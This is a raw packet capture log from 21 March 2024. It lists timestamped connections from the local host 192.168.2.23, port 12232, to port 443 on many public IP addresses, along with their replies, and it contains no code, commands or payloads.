Mar 21, 2024 05:25:10.939997911 CET	12232	443	192.168.2.23	210.202.185.158
Mar 21, 2024 05:25:10.939999104 CET	12232	443	192.168.2.23	109.83.169.248
Mar 21, 2024 05:25:10.940005064 CET	443	12232	2.150.243.215	192.168.2.23
Mar 21, 2024 05:25:10.940006971 CET	12232	443	192.168.2.23	118.194.213.209
Mar 21, 2024 05:25:10.940007925 CET	12232	443	192.168.2.23	118.31.100.62
Mar 21, 2024 05:25:10.940007925 CET	443	12232	210.202.185.158	192.168.2.23
Mar 21, 2024 05:25:10.940011024 CET	12232	443	192.168.2.23	37.62.246.38
Mar 21, 2024 05:25:10.940011978 CET	443	12232	109.130.156.56	192.168.2.23
Mar 21, 2024 05:25:10.940013885 CET	443	12232	109.83.169.248	192.168.2.23
Mar 21, 2024 05:25:10.940016031 CET	443	12232	37.62.246.38	192.168.2.23
Mar 21, 2024 05:25:10.940016985 CET	12232	443	192.168.2.23	42.118.207.7
Mar 21, 2024 05:25:10.940016985 CET	12232	443	192.168.2.23	37.18.137.162
Mar 21, 2024 05:25:10.940017939 CET	443	12232	118.194.213.209	192.168.2.23
Mar 21, 2024 05:25:10.940022945 CET	12232	443	192.168.2.23	79.107.222.163
Mar 21, 2024 05:25:10.940022945 CET	12232	443	192.168.2.23	2.1.19.68
Mar 21, 2024 05:25:10.940025091 CET	443	12232	37.18.137.162	192.168.2.23
Mar 21, 2024 05:25:10.940026045 CET	12232	443	192.168.2.23	5.249.108.16
Mar 21, 2024 05:25:10.940027952 CET	12232	443	192.168.2.23	42.94.213.188
Mar 21, 2024 05:25:10.940027952 CET	12232	443	192.168.2.23	210.143.193.192
Mar 21, 2024 05:25:10.940031052 CET	443	12232	5.249.108.16	192.168.2.23
Mar 21, 2024 05:25:10.940033913 CET	12232	443	192.168.2.23	210.202.185.158
Mar 21, 2024 05:25:10.940033913 CET	443	12232	79.107.222.163	192.168.2.23
Mar 21, 2024 05:25:10.940037966 CET	12232	443	192.168.2.23	109.130.156.56
Mar 21, 2024 05:25:10.940047026 CET	12232	443	192.168.2.23	2.150.243.215
Mar 21, 2024 05:25:10.940047026 CET	12232	443	192.168.2.23	37.158.124.89
Mar 21, 2024 05:25:10.940047979 CET	12232	443	192.168.2.23	118.194.213.209
Mar 21, 2024 05:25:10.940047979 CET	12232	443	192.168.2.23	2.121.53.90
Mar 21, 2024 05:25:10.940054893 CET	443	12232	2.121.53.90	192.168.2.23
Mar 21, 2024 05:25:10.940059900 CET	12232	443	192.168.2.23	37.62.246.38
Mar 21, 2024 05:25:10.940061092 CET	443	12232	37.158.124.89	192.168.2.23
Mar 21, 2024 05:25:10.940063000 CET	12232	443	192.168.2.23	109.220.230.187
Mar 21, 2024 05:25:10.940063953 CET	12232	443	192.168.2.23	109.83.169.248
Mar 21, 2024 05:25:10.940067053 CET	12232	443	192.168.2.23	37.18.137.162
Mar 21, 2024 05:25:10.940074921 CET	443	12232	109.220.230.187	192.168.2.23
Mar 21, 2024 05:25:10.940076113 CET	12232	443	192.168.2.23	5.249.108.16
Mar 21, 2024 05:25:10.940079927 CET	12232	443	192.168.2.23	79.107.222.163
Mar 21, 2024 05:25:10.940089941 CET	12232	443	192.168.2.23	37.158.124.89
Mar 21, 2024 05:25:10.940093994 CET	12232	443	192.168.2.23	2.121.53.90
Mar 21, 2024 05:25:10.940099001 CET	12232	443	192.168.2.23	212.188.90.84
Mar 21, 2024 05:25:10.940102100 CET	12232	443	192.168.2.23	109.220.230.187
Mar 21, 2024 05:25:10.940105915 CET	443	12232	212.188.90.84	192.168.2.23
Mar 21, 2024 05:25:10.940113068 CET	12232	443	192.168.2.23	79.250.120.159
Mar 21, 2024 05:25:10.940113068 CET	12232	443	192.168.2.23	2.185.99.71
Mar 21, 2024 05:25:10.940113068 CET	12232	443	192.168.2.23	94.183.19.249
Mar 21, 2024 05:25:10.940114975 CET	12232	443	192.168.2.23	37.154.247.75
Mar 21, 2024 05:25:10.940114975 CET	12232	443	192.168.2.23	2.117.97.141
Mar 21, 2024 05:25:10.940114975 CET	12232	443	192.168.2.23	2.25.23.31
Mar 21, 2024 05:25:10.940124035 CET	12232	443	192.168.2.23	79.131.79.68
Mar 21, 2024 05:25:10.940129042 CET	443	12232	79.250.120.159	192.168.2.23
Mar 21, 2024 05:25:10.940129995 CET	12232	443	192.168.2.23	94.197.89.164
Mar 21, 2024 05:25:10.940130949 CET	443	12232	37.154.247.75	192.168.2.23
Mar 21, 2024 05:25:10.940130949 CET	443	12232	79.131.79.68	192.168.2.23
Mar 21, 2024 05:25:10.940129042 CET	12232	443	192.168.2.23	94.19.140.72
Mar 21, 2024 05:25:10.940129042 CET	12232	443	192.168.2.23	2.19.216.43
Mar 21, 2024 05:25:10.940138102 CET	443	12232	94.197.89.164	192.168.2.23
Mar 21, 2024 05:25:10.940138102 CET	12232	443	192.168.2.23	109.51.40.248
Mar 21, 2024 05:25:10.940140963 CET	443	12232	2.117.97.141	192.168.2.23
Mar 21, 2024 05:25:10.940143108 CET	443	12232	2.185.99.71	192.168.2.23
Mar 21, 2024 05:25:10.940144062 CET	443	12232	94.19.140.72	192.168.2.23
Mar 21, 2024 05:25:10.940144062 CET	443	12232	109.51.40.248	192.168.2.23
Mar 21, 2024 05:25:10.940145969 CET	12232	443	192.168.2.23	212.216.227.52
Mar 21, 2024 05:25:10.940148115 CET	443	12232	2.19.216.43	192.168.2.23
Mar 21, 2024 05:25:10.940150023 CET	443	12232	2.25.23.31	192.168.2.23
Mar 21, 2024 05:25:10.940152884 CET	443	12232	212.216.227.52	192.168.2.23
Mar 21, 2024 05:25:10.940152884 CET	12232	443	192.168.2.23	118.254.233.103
Mar 21, 2024 05:25:10.940155029 CET	12232	443	192.168.2.23	94.157.222.108
Mar 21, 2024 05:25:10.940155029 CET	12232	443	192.168.2.23	2.254.141.232
Mar 21, 2024 05:25:10.940156937 CET	12232	443	192.168.2.23	212.188.90.84
Mar 21, 2024 05:25:10.940155029 CET	12232	443	192.168.2.23	42.65.216.246
Mar 21, 2024 05:25:10.940155029 CET	12232	443	192.168.2.23	5.214.190.73
Mar 21, 2024 05:25:10.940160990 CET	12232	443	192.168.2.23	109.73.221.137
Mar 21, 2024 05:25:10.940159082 CET	443	12232	94.183.19.249	192.168.2.23
Mar 21, 2024 05:25:10.940160990 CET	12232	443	192.168.2.23	210.224.70.191
Mar 21, 2024 05:25:10.940160990 CET	12232	443	192.168.2.23	109.56.114.148
Mar 21, 2024 05:25:10.940162897 CET	443	12232	118.254.233.103	192.168.2.23
Mar 21, 2024 05:25:10.940166950 CET	443	12232	2.254.141.232	192.168.2.23
Mar 21, 2024 05:25:10.940167904 CET	12232	443	192.168.2.23	210.27.31.20
Mar 21, 2024 05:25:10.940169096 CET	443	12232	94.157.222.108	192.168.2.23
Mar 21, 2024 05:25:10.940170050 CET	12232	443	192.168.2.23	5.209.101.19
Mar 21, 2024 05:25:10.940170050 CET	12232	443	192.168.2.23	178.23.28.64
Mar 21, 2024 05:25:10.940171003 CET	443	12232	109.73.221.137	192.168.2.23
Mar 21, 2024 05:25:10.940170050 CET	12232	443	192.168.2.23	79.51.245.168
Mar 21, 2024 05:25:10.940170050 CET	12232	443	192.168.2.23	79.250.120.159
Mar 21, 2024 05:25:10.940170050 CET	12232	443	192.168.2.23	109.241.223.48
Mar 21, 2024 05:25:10.940172911 CET	443	12232	210.27.31.20	192.168.2.23
Mar 21, 2024 05:25:10.940174103 CET	443	12232	42.65.216.246	192.168.2.23
Mar 21, 2024 05:25:10.940176964 CET	12232	443	192.168.2.23	2.200.143.194
Mar 21, 2024 05:25:10.940179110 CET	443	12232	5.214.190.73	192.168.2.23
Mar 21, 2024 05:25:10.940179110 CET	443	12232	210.224.70.191	192.168.2.23
Mar 21, 2024 05:25:10.940185070 CET	443	12232	2.200.143.194	192.168.2.23
Mar 21, 2024 05:25:10.940185070 CET	12232	443	192.168.2.23	210.192.230.241
Mar 21, 2024 05:25:10.940186024 CET	12232	443	192.168.2.23	212.71.72.217
Mar 21, 2024 05:25:10.940186977 CET	443	12232	109.56.114.148	192.168.2.23
Mar 21, 2024 05:25:10.940186024 CET	12232	443	192.168.2.23	79.131.79.68
Mar 21, 2024 05:25:10.940186977 CET	443	12232	5.209.101.19	192.168.2.23
Mar 21, 2024 05:25:10.940187931 CET	12232	443	192.168.2.23	37.154.247.75
Mar 21, 2024 05:25:10.940187931 CET	12232	443	192.168.2.23	37.105.34.126
Mar 21, 2024 05:25:10.940190077 CET	12232	443	192.168.2.23	94.19.140.72
Mar 21, 2024 05:25:10.940191031 CET	443	12232	210.192.230.241	192.168.2.23
Mar 21, 2024 05:25:10.940193892 CET	443	12232	212.71.72.217	192.168.2.23
Mar 21, 2024 05:25:10.940195084 CET	12232	443	192.168.2.23	94.197.89.164
Mar 21, 2024 05:25:10.940195084 CET	12232	443	192.168.2.23	79.239.213.193
Mar 21, 2024 05:25:10.940197945 CET	443	12232	37.105.34.126	192.168.2.23
Mar 21, 2024 05:25:10.940197945 CET	443	12232	178.23.28.64	192.168.2.23
Mar 21, 2024 05:25:10.940198898 CET	12232	443	192.168.2.23	109.51.40.248
Mar 21, 2024 05:25:10.940202951 CET	443	12232	79.239.213.193	192.168.2.23
Mar 21, 2024 05:25:10.940203905 CET	12232	443	192.168.2.23	2.117.97.141
Mar 21, 2024 05:25:10.940205097 CET	12232	443	192.168.2.23	2.25.23.31
Mar 21, 2024 05:25:10.940207005 CET	12232	443	192.168.2.23	2.254.141.232
Mar 21, 2024 05:25:10.940208912 CET	443	12232	79.51.245.168	192.168.2.23
Mar 21, 2024 05:25:10.940212965 CET	12232	443	192.168.2.23	212.216.227.52
Mar 21, 2024 05:25:10.940223932 CET	12232	443	192.168.2.23	37.8.57.27
Mar 21, 2024 05:25:10.940223932 CET	12232	443	192.168.2.23	2.200.143.194
Mar 21, 2024 05:25:10.940223932 CET	12232	443	192.168.2.23	210.27.31.20
Mar 21, 2024 05:25:10.940224886 CET	12232	443	192.168.2.23	2.19.216.43
Mar 21, 2024 05:25:10.940226078 CET	12232	443	192.168.2.23	94.122.19.87
Mar 21, 2024 05:25:10.940224886 CET	12232	443	192.168.2.23	94.7.160.119
Mar 21, 2024 05:25:10.940226078 CET	12232	443	192.168.2.23	118.254.233.103
Mar 21, 2024 05:25:10.940224886 CET	12232	443	192.168.2.23	109.73.221.137
Mar 21, 2024 05:25:10.940227985 CET	443	12232	109.241.223.48	192.168.2.23
Mar 21, 2024 05:25:10.940224886 CET	12232	443	192.168.2.23	109.56.114.148
Mar 21, 2024 05:25:10.940224886 CET	12232	443	192.168.2.23	178.228.6.196
Mar 21, 2024 05:25:10.940224886 CET	12232	443	192.168.2.23	94.157.222.108
Mar 21, 2024 05:25:10.940232992 CET	443	12232	37.8.57.27	192.168.2.23
Mar 21, 2024 05:25:10.940233946 CET	12232	443	192.168.2.23	42.65.216.246
Mar 21, 2024 05:25:10.940236092 CET	443	12232	94.122.19.87	192.168.2.23
Mar 21, 2024 05:25:10.940237045 CET	443	12232	178.228.6.196	192.168.2.23
Mar 21, 2024 05:25:10.940239906 CET	12232	443	192.168.2.23	118.184.228.117
Mar 21, 2024 05:25:10.940242052 CET	12232	443	192.168.2.23	79.43.39.248
Mar 21, 2024 05:25:10.940243959 CET	443	12232	94.7.160.119	192.168.2.23
Mar 21, 2024 05:25:10.940244913 CET	12232	443	192.168.2.23	210.224.70.191
Mar 21, 2024 05:25:10.940246105 CET	12232	443	192.168.2.23	210.192.230.241
Mar 21, 2024 05:25:10.940249920 CET	12232	443	192.168.2.23	79.239.213.193
Mar 21, 2024 05:25:10.940242052 CET	12232	443	192.168.2.23	2.185.99.71
Mar 21, 2024 05:25:10.940246105 CET	443	12232	118.184.228.117	192.168.2.23
Mar 21, 2024 05:25:10.940242052 CET	12232	443	192.168.2.23	94.183.19.249
Mar 21, 2024 05:25:10.940242052 CET	12232	443	192.168.2.23	5.209.101.19
Mar 21, 2024 05:25:10.940242052 CET	12232	443	192.168.2.23	178.23.28.64
Mar 21, 2024 05:25:10.940248966 CET	12232	443	192.168.2.23	37.105.34.126
Mar 21, 2024 05:25:10.940248966 CET	12232	443	192.168.2.23	5.214.190.73
Mar 21, 2024 05:25:10.940257072 CET	12232	443	192.168.2.23	212.71.72.217
Mar 21, 2024 05:25:10.940268040 CET	443	12232	79.43.39.248	192.168.2.23
Mar 21, 2024 05:25:10.940277100 CET	12232	443	192.168.2.23	94.122.19.87
Mar 21, 2024 05:25:10.940279961 CET	12232	443	192.168.2.23	94.7.160.119
Mar 21, 2024 05:25:10.940282106 CET	12232	443	192.168.2.23	37.8.57.27
Mar 21, 2024 05:25:10.940284014 CET	12232	443	192.168.2.23	79.51.245.168
Mar 21, 2024 05:25:10.940284014 CET	12232	443	192.168.2.23	109.241.223.48
Mar 21, 2024 05:25:10.940285921 CET	12232	443	192.168.2.23	118.184.228.117
Mar 21, 2024 05:25:10.940287113 CET	12232	443	192.168.2.23	178.228.6.196
Mar 21, 2024 05:25:10.940303087 CET	12232	443	192.168.2.23	178.78.75.106
Mar 21, 2024 05:25:10.940303087 CET	12232	443	192.168.2.23	79.43.39.248
Mar 21, 2024 05:25:10.940310955 CET	12232	443	192.168.2.23	212.187.15.236
Mar 21, 2024 05:25:10.940310955 CET	443	12232	178.78.75.106	192.168.2.23
Mar 21, 2024 05:25:10.940314054 CET	12232	443	192.168.2.23	212.134.73.179
Mar 21, 2024 05:25:10.940316916 CET	443	12232	212.187.15.236	192.168.2.23
Mar 21, 2024 05:25:10.940321922 CET	443	12232	212.134.73.179	192.168.2.23
Mar 21, 2024 05:25:10.940323114 CET	12232	443	192.168.2.23	212.161.16.114
Mar 21, 2024 05:25:10.940324068 CET	12232	443	192.168.2.23	210.200.251.133
Mar 21, 2024 05:25:10.940325975 CET	12232	443	192.168.2.23	42.238.89.51
Mar 21, 2024 05:25:10.940330982 CET	443	12232	210.200.251.133	192.168.2.23
Mar 21, 2024 05:25:10.940330982 CET	443	12232	212.161.16.114	192.168.2.23
Mar 21, 2024 05:25:10.940332890 CET	443	12232	42.238.89.51	192.168.2.23
Mar 21, 2024 05:25:10.940336943 CET	12232	443	192.168.2.23	178.78.75.106
Mar 21, 2024 05:25:10.940345049 CET	12232	443	192.168.2.23	212.187.15.236
Mar 21, 2024 05:25:10.940347910 CET	12232	443	192.168.2.23	212.134.73.179
Mar 21, 2024 05:25:10.940351009 CET	12232	443	192.168.2.23	37.119.197.76
Mar 21, 2024 05:25:10.940362930 CET	443	12232	37.119.197.76	192.168.2.23
Mar 21, 2024 05:25:10.940362930 CET	12232	443	192.168.2.23	210.200.251.133
Mar 21, 2024 05:25:10.940367937 CET	12232	443	192.168.2.23	212.161.16.114
Mar 21, 2024 05:25:10.940367937 CET	12232	443	192.168.2.23	178.110.215.133
Mar 21, 2024 05:25:10.940377951 CET	443	12232	178.110.215.133	192.168.2.23
Mar 21, 2024 05:25:10.940380096 CET	12232	443	192.168.2.23	42.238.89.51
Mar 21, 2024 05:25:10.940380096 CET	12232	443	192.168.2.23	79.13.136.90
Mar 21, 2024 05:25:10.940380096 CET	12232	443	192.168.2.23	42.202.84.246
Mar 21, 2024 05:25:10.940380096 CET	12232	443	192.168.2.23	178.180.188.34
Mar 21, 2024 05:25:10.940387964 CET	443	12232	42.202.84.246	192.168.2.23
Mar 21, 2024 05:25:10.940391064 CET	12232	443	192.168.2.23	212.170.159.254
Mar 21, 2024 05:25:10.940397978 CET	443	12232	79.13.136.90	192.168.2.23
Mar 21, 2024 05:25:10.940397978 CET	443	12232	212.170.159.254	192.168.2.23
Mar 21, 2024 05:25:10.940404892 CET	12232	443	192.168.2.23	37.119.197.76
Mar 21, 2024 05:25:10.940404892 CET	12232	443	192.168.2.23	178.170.92.26
Mar 21, 2024 05:25:10.940406084 CET	12232	443	192.168.2.23	178.165.122.205
Mar 21, 2024 05:25:10.940412045 CET	443	12232	178.165.122.205	192.168.2.23
Mar 21, 2024 05:25:10.940412045 CET	12232	443	192.168.2.23	2.254.84.195
Mar 21, 2024 05:25:10.940416098 CET	443	12232	178.170.92.26	192.168.2.23
Mar 21, 2024 05:25:10.940417051 CET	443	12232	178.180.188.34	192.168.2.23
Mar 21, 2024 05:25:10.940418005 CET	443	12232	2.254.84.195	192.168.2.23
Mar 21, 2024 05:25:10.940422058 CET	12232	443	192.168.2.23	42.202.84.246
Mar 21, 2024 05:25:10.940427065 CET	12232	443	192.168.2.23	2.214.88.179
Mar 21, 2024 05:25:10.940431118 CET	12232	443	192.168.2.23	109.255.174.174
Mar 21, 2024 05:25:10.940431118 CET	12232	443	192.168.2.23	79.13.136.90
Mar 21, 2024 05:25:10.940433025 CET	12232	443	192.168.2.23	178.165.122.205
Mar 21, 2024 05:25:10.940434933 CET	443	12232	2.214.88.179	192.168.2.23
Mar 21, 2024 05:25:10.940437078 CET	12232	443	192.168.2.23	178.110.215.133
Mar 21, 2024 05:25:10.940437078 CET	12232	443	192.168.2.23	5.5.141.238
Mar 21, 2024 05:25:10.940437078 CET	12232	443	192.168.2.23	5.135.219.243
Mar 21, 2024 05:25:10.940437078 CET	12232	443	192.168.2.23	210.182.45.16
Mar 21, 2024 05:25:10.940440893 CET	443	12232	109.255.174.174	192.168.2.23
Mar 21, 2024 05:25:10.940437078 CET	12232	443	192.168.2.23	79.139.32.136
Mar 21, 2024 05:25:10.940437078 CET	12232	443	192.168.2.23	212.170.159.254
Mar 21, 2024 05:25:10.940448999 CET	12232	443	192.168.2.23	37.147.67.208
Mar 21, 2024 05:25:10.940448999 CET	12232	443	192.168.2.23	2.254.84.195
Mar 21, 2024 05:25:10.940449953 CET	12232	443	192.168.2.23	178.170.92.26
Mar 21, 2024 05:25:10.940449953 CET	12232	443	192.168.2.23	178.180.188.34
Mar 21, 2024 05:25:10.940454960 CET	12232	443	192.168.2.23	94.202.191.250
Mar 21, 2024 05:25:10.940454960 CET	12232	443	192.168.2.23	2.193.147.165
Mar 21, 2024 05:25:10.940457106 CET	443	12232	37.147.67.208	192.168.2.23
Mar 21, 2024 05:25:10.940458059 CET	443	12232	5.5.141.238	192.168.2.23
Mar 21, 2024 05:25:10.940463066 CET	12232	443	192.168.2.23	2.214.88.179
Mar 21, 2024 05:25:10.940464973 CET	443	12232	2.193.147.165	192.168.2.23
Mar 21, 2024 05:25:10.940464973 CET	443	12232	94.202.191.250	192.168.2.23
Mar 21, 2024 05:25:10.940466881 CET	12232	443	192.168.2.23	109.255.174.174
Mar 21, 2024 05:25:10.940470934 CET	443	12232	5.135.219.243	192.168.2.23
Mar 21, 2024 05:25:10.940478086 CET	12232	443	192.168.2.23	94.181.171.5
Mar 21, 2024 05:25:10.940483093 CET	443	12232	210.182.45.16	192.168.2.23
Mar 21, 2024 05:25:10.940486908 CET	443	12232	94.181.171.5	192.168.2.23
Mar 21, 2024 05:25:10.940494061 CET	12232	443	192.168.2.23	210.34.126.38
Mar 21, 2024 05:25:10.940494061 CET	12232	443	192.168.2.23	37.147.67.208
Mar 21, 2024 05:25:10.940494061 CET	443	12232	79.139.32.136	192.168.2.23
Mar 21, 2024 05:25:10.940495968 CET	12232	443	192.168.2.23	5.123.176.36
Mar 21, 2024 05:25:10.940495968 CET	12232	443	192.168.2.23	94.210.167.122
Mar 21, 2024 05:25:10.940500975 CET	443	12232	5.123.176.36	192.168.2.23
Mar 21, 2024 05:25:10.940500975 CET	443	12232	210.34.126.38	192.168.2.23
Mar 21, 2024 05:25:10.940501928 CET	443	12232	94.210.167.122	192.168.2.23
Mar 21, 2024 05:25:10.940505028 CET	12232	443	192.168.2.23	94.202.191.250
Mar 21, 2024 05:25:10.940505028 CET	12232	443	192.168.2.23	2.193.147.165
Mar 21, 2024 05:25:10.940510988 CET	12232	443	192.168.2.23	94.181.171.5
Mar 21, 2024 05:25:10.940514088 CET	12232	443	192.168.2.23	5.5.141.238
Mar 21, 2024 05:25:10.940514088 CET	12232	443	192.168.2.23	5.135.219.243
Mar 21, 2024 05:25:10.940514088 CET	12232	443	192.168.2.23	210.182.45.16
Mar 21, 2024 05:25:10.940521002 CET	12232	443	192.168.2.23	37.82.131.115
Mar 21, 2024 05:25:10.940521002 CET	12232	443	192.168.2.23	210.225.37.144
Mar 21, 2024 05:25:10.940527916 CET	443	12232	37.82.131.115	192.168.2.23
Mar 21, 2024 05:25:10.940527916 CET	12232	443	192.168.2.23	5.123.176.36
Mar 21, 2024 05:25:10.940531969 CET	12232	443	192.168.2.23	79.139.32.136
Mar 21, 2024 05:25:10.940532923 CET	12232	443	192.168.2.23	94.210.167.122
Mar 21, 2024 05:25:10.940536022 CET	443	12232	210.225.37.144	192.168.2.23
Mar 21, 2024 05:25:10.940538883 CET	12232	443	192.168.2.23	210.34.126.38
Mar 21, 2024 05:25:10.940548897 CET	12232	443	192.168.2.23	210.39.193.92
Mar 21, 2024 05:25:10.940552950 CET	12232	443	192.168.2.23	37.82.131.115
Mar 21, 2024 05:25:10.940555096 CET	443	12232	210.39.193.92	192.168.2.23
Mar 21, 2024 05:25:10.940567970 CET	12232	443	192.168.2.23	210.225.37.144
Mar 21, 2024 05:25:10.940572023 CET	12232	443	192.168.2.23	79.21.94.190
Mar 21, 2024 05:25:10.940582037 CET	443	12232	79.21.94.190	192.168.2.23
Mar 21, 2024 05:25:10.940588951 CET	12232	443	192.168.2.23	79.172.225.191
Mar 21, 2024 05:25:10.940593004 CET	12232	443	192.168.2.23	94.194.125.56
Mar 21, 2024 05:25:10.940593004 CET	12232	443	192.168.2.23	37.169.102.165
Mar 21, 2024 05:25:10.940594912 CET	443	12232	79.172.225.191	192.168.2.23
Mar 21, 2024 05:25:10.940598965 CET	12232	443	192.168.2.23	42.254.249.35
Mar 21, 2024 05:25:10.940599918 CET	443	12232	94.194.125.56	192.168.2.23
Mar 21, 2024 05:25:10.940599918 CET	12232	443	192.168.2.23	37.2.63.162
Mar 21, 2024 05:25:10.940599918 CET	12232	443	192.168.2.23	79.203.194.172
Mar 21, 2024 05:25:10.940601110 CET	12232	443	192.168.2.23	210.39.193.92
Mar 21, 2024 05:25:10.940601110 CET	12232	443	192.168.2.23	2.182.232.160
Mar 21, 2024 05:25:10.940607071 CET	443	12232	79.203.194.172	192.168.2.23
Mar 21, 2024 05:25:10.940608025 CET	443	12232	37.169.102.165	192.168.2.23
Mar 21, 2024 05:25:10.940608978 CET	443	12232	37.2.63.162	192.168.2.23
Mar 21, 2024 05:25:10.940610886 CET	443	12232	42.254.249.35	192.168.2.23
Mar 21, 2024 05:25:10.940615892 CET	443	12232	2.182.232.160	192.168.2.23
Mar 21, 2024 05:25:10.940618992 CET	12232	443	192.168.2.23	79.46.38.119
Mar 21, 2024 05:25:10.940622091 CET	12232	443	192.168.2.23	94.194.125.56
Mar 21, 2024 05:25:10.940623999 CET	443	12232	79.46.38.119	192.168.2.23
Mar 21, 2024 05:25:10.940623999 CET	12232	443	192.168.2.23	79.21.94.190
Mar 21, 2024 05:25:10.940625906 CET	12232	443	192.168.2.23	5.213.179.23
Mar 21, 2024 05:25:10.940625906 CET	12232	443	192.168.2.23	79.43.139.101
Mar 21, 2024 05:25:10.940633059 CET	443	12232	5.213.179.23	192.168.2.23
Mar 21, 2024 05:25:10.940635920 CET	12232	443	192.168.2.23	79.172.225.191
Mar 21, 2024 05:25:10.940640926 CET	443	12232	79.43.139.101	192.168.2.23
Mar 21, 2024 05:25:10.940644979 CET	12232	443	192.168.2.23	37.169.102.165
Mar 21, 2024 05:25:10.940644979 CET	12232	443	192.168.2.23	37.2.63.162
Mar 21, 2024 05:25:10.940649033 CET	12232	443	192.168.2.23	42.254.249.35
Mar 21, 2024 05:25:10.940649033 CET	12232	443	192.168.2.23	79.222.121.138
Mar 21, 2024 05:25:10.940648079 CET	12232	443	192.168.2.23	79.203.194.172
Mar 21, 2024 05:25:10.940648079 CET	12232	443	192.168.2.23	212.150.46.178
Mar 21, 2024 05:25:10.940655947 CET	12232	443	192.168.2.23	2.182.232.160
Mar 21, 2024 05:25:10.940655947 CET	12232	443	192.168.2.23	5.213.179.23
Mar 21, 2024 05:25:10.940658092 CET	443	12232	212.150.46.178	192.168.2.23
Mar 21, 2024 05:25:10.940658092 CET	12232	443	192.168.2.23	79.46.38.119
Mar 21, 2024 05:25:10.940658092 CET	443	12232	79.222.121.138	192.168.2.23
Mar 21, 2024 05:25:10.940664053 CET	12232	443	192.168.2.23	79.43.139.101
Mar 21, 2024 05:25:10.940670967 CET	12232	443	192.168.2.23	5.139.131.152
Mar 21, 2024 05:25:10.940677881 CET	443	12232	5.139.131.152	192.168.2.23
Mar 21, 2024 05:25:10.940687895 CET	12232	443	192.168.2.23	94.111.32.254
Mar 21, 2024 05:25:10.940691948 CET	443	12232	94.111.32.254	192.168.2.23
Mar 21, 2024 05:25:10.940694094 CET	12232	443	192.168.2.23	212.150.46.178
Mar 21, 2024 05:25:10.940695047 CET	12232	443	192.168.2.23	79.222.121.138
Mar 21, 2024 05:25:10.940704107 CET	12232	443	192.168.2.23	109.42.161.219
Mar 21, 2024 05:25:10.940707922 CET	12232	443	192.168.2.23	5.139.131.152
Mar 21, 2024 05:25:10.940710068 CET	12232	443	192.168.2.23	42.153.57.134
Mar 21, 2024 05:25:10.940716028 CET	443	12232	42.153.57.134	192.168.2.23
Mar 21, 2024 05:25:10.940720081 CET	443	12232	109.42.161.219	192.168.2.23
Mar 21, 2024 05:25:10.940728903 CET	12232	443	192.168.2.23	5.249.67.242
Mar 21, 2024 05:25:10.940732956 CET	12232	443	192.168.2.23	2.51.222.171
Mar 21, 2024 05:25:10.940736055 CET	12232	443	192.168.2.23	94.111.32.254
Mar 21, 2024 05:25:10.940737009 CET	12232	443	192.168.2.23	109.18.124.97
Mar 21, 2024 05:25:10.940738916 CET	443	12232	5.249.67.242	192.168.2.23
Mar 21, 2024 05:25:10.940740108 CET	443	12232	2.51.222.171	192.168.2.23
Mar 21, 2024 05:25:10.940742970 CET	12232	443	192.168.2.23	178.229.189.102
Mar 21, 2024 05:25:10.940742970 CET	12232	443	192.168.2.23	5.250.230.9
Mar 21, 2024 05:25:10.940743923 CET	443	12232	109.18.124.97	192.168.2.23
Mar 21, 2024 05:25:10.940745115 CET	12232	443	192.168.2.23	118.53.59.144
Mar 21, 2024 05:25:10.940748930 CET	443	12232	178.229.189.102	192.168.2.23
Mar 21, 2024 05:25:10.940749884 CET	12232	443	192.168.2.23	42.2.50.203
Mar 21, 2024 05:25:10.940756083 CET	443	12232	42.2.50.203	192.168.2.23
Mar 21, 2024 05:25:10.940756083 CET	443	12232	118.53.59.144	192.168.2.23
Mar 21, 2024 05:25:10.940756083 CET	12232	443	192.168.2.23	210.44.123.33
Mar 21, 2024 05:25:10.940756083 CET	12232	443	192.168.2.23	37.178.118.12
Mar 21, 2024 05:25:10.940756083 CET	12232	443	192.168.2.23	109.42.161.219
Mar 21, 2024 05:25:10.940756083 CET	12232	443	192.168.2.23	94.155.74.245
Mar 21, 2024 05:25:10.940756083 CET	12232	443	192.168.2.23	79.111.106.83
Mar 21, 2024 05:25:10.940757990 CET	443	12232	5.250.230.9	192.168.2.23
Mar 21, 2024 05:25:10.940762043 CET	443	12232	210.44.123.33	192.168.2.23
Mar 21, 2024 05:25:10.940768003 CET	12232	443	192.168.2.23	42.153.57.134
Mar 21, 2024 05:25:10.940768003 CET	12232	443	192.168.2.23	5.146.236.107
Mar 21, 2024 05:25:10.940768003 CET	12232	443	192.168.2.23	2.51.222.171
Mar 21, 2024 05:25:10.940768957 CET	12232	443	192.168.2.23	2.220.219.161
Mar 21, 2024 05:25:10.940769911 CET	443	12232	37.178.118.12	192.168.2.23
Mar 21, 2024 05:25:10.940768957 CET	12232	443	192.168.2.23	109.149.240.151
Mar 21, 2024 05:25:10.940769911 CET	12232	443	192.168.2.23	212.139.144.46
Mar 21, 2024 05:25:10.940774918 CET	12232	443	192.168.2.23	79.150.222.20
Mar 21, 2024 05:25:10.940776110 CET	443	12232	5.146.236.107	192.168.2.23
Mar 21, 2024 05:25:10.940777063 CET	12232	443	192.168.2.23	118.28.66.105
Mar 21, 2024 05:25:10.940777063 CET	12232	443	192.168.2.23	2.157.47.177
Mar 21, 2024 05:25:10.940778017 CET	443	12232	212.139.144.46	192.168.2.23
Mar 21, 2024 05:25:10.940779924 CET	12232	443	192.168.2.23	118.53.59.144
Mar 21, 2024 05:25:10.940779924 CET	443	12232	2.220.219.161	192.168.2.23
Mar 21, 2024 05:25:10.940782070 CET	443	12232	79.150.222.20	192.168.2.23
Mar 21, 2024 05:25:10.940783978 CET	443	12232	118.28.66.105	192.168.2.23
Mar 21, 2024 05:25:10.940783978 CET	443	12232	109.149.240.151	192.168.2.23
Mar 21, 2024 05:25:10.940788031 CET	443	12232	94.155.74.245	192.168.2.23
Mar 21, 2024 05:25:10.940788984 CET	12232	443	192.168.2.23	42.138.195.139
Mar 21, 2024 05:25:10.940792084 CET	443	12232	2.157.47.177	192.168.2.23
Mar 21, 2024 05:25:10.940793037 CET	12232	443	192.168.2.23	210.44.123.33
Mar 21, 2024 05:25:10.940793037 CET	443	12232	42.138.195.139	192.168.2.23
Mar 21, 2024 05:25:10.940793991 CET	443	12232	79.111.106.83	192.168.2.23
Mar 21, 2024 05:25:10.940798044 CET	12232	443	192.168.2.23	109.18.124.97
Mar 21, 2024 05:25:10.940802097 CET	12232	443	192.168.2.23	178.229.189.102
Mar 21, 2024 05:25:10.940807104 CET	12232	443	192.168.2.23	42.174.232.3
Mar 21, 2024 05:25:10.940807104 CET	12232	443	192.168.2.23	5.249.67.242
Mar 21, 2024 05:25:10.940808058 CET	12232	443	192.168.2.23	42.2.50.203
